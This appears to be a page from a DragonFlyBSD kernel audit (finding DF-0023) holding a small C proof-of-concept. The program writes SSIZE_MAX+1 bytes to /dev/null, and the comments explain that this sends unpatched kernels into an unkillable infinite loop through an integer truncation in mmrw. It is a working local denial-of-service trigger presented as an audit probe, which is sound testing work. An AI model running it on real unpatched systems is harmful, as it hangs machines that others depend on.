DragonFlyBSD Kernel Audit
DF-0023 / write_only.c
← back to finding ↓ download raw
/*
 * DF-0023 - separate probe for the sys_write path
 * (sys/kern/sys_generic.c:336-337).
 *
 * write(/dev/null, buf, SSIZE_MAX+1):
 *   - UNPATCHED: hangs in an infinite, UNINTERRUPTIBLE kernel loop in mmrw
 *                (kern_memio.c: u_int c truncates 64-bit iov_len -> 0; the
 *                 `while(uio_resid>0)` loop never terminates; kill -9 no-op)
 *   - PATCHED  : returns -1 errno=EINVAL
 *
 * Build: cc -o write_only write_only.c
 * Run:   ./write_only        (wrap in `timeout 12` on an unpatched kernel)
 */
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <stdio.h>
#include <stdint.h>

int
main(void)
{
	int fd = open("/dev/null", O_RDWR);
	if (fd < 0) { perror("open"); return 1; }

	char buf[16];
	size_t n = (size_t)1 << (sizeof(size_t) * 8 - 1); /* 0x8000000000000000 */

	errno = 0;
	ssize_t w = write(fd, buf, n);
	int e = errno;
	fprintf(stderr, "write(fd,buf,SSIZE_MAX+1) = %zd, errno=%d (%s)\n",
	    w, e, e == EINVAL ? "EINVAL" : (e == 0 ? "OK" : "OTHER"));
	return 0;
}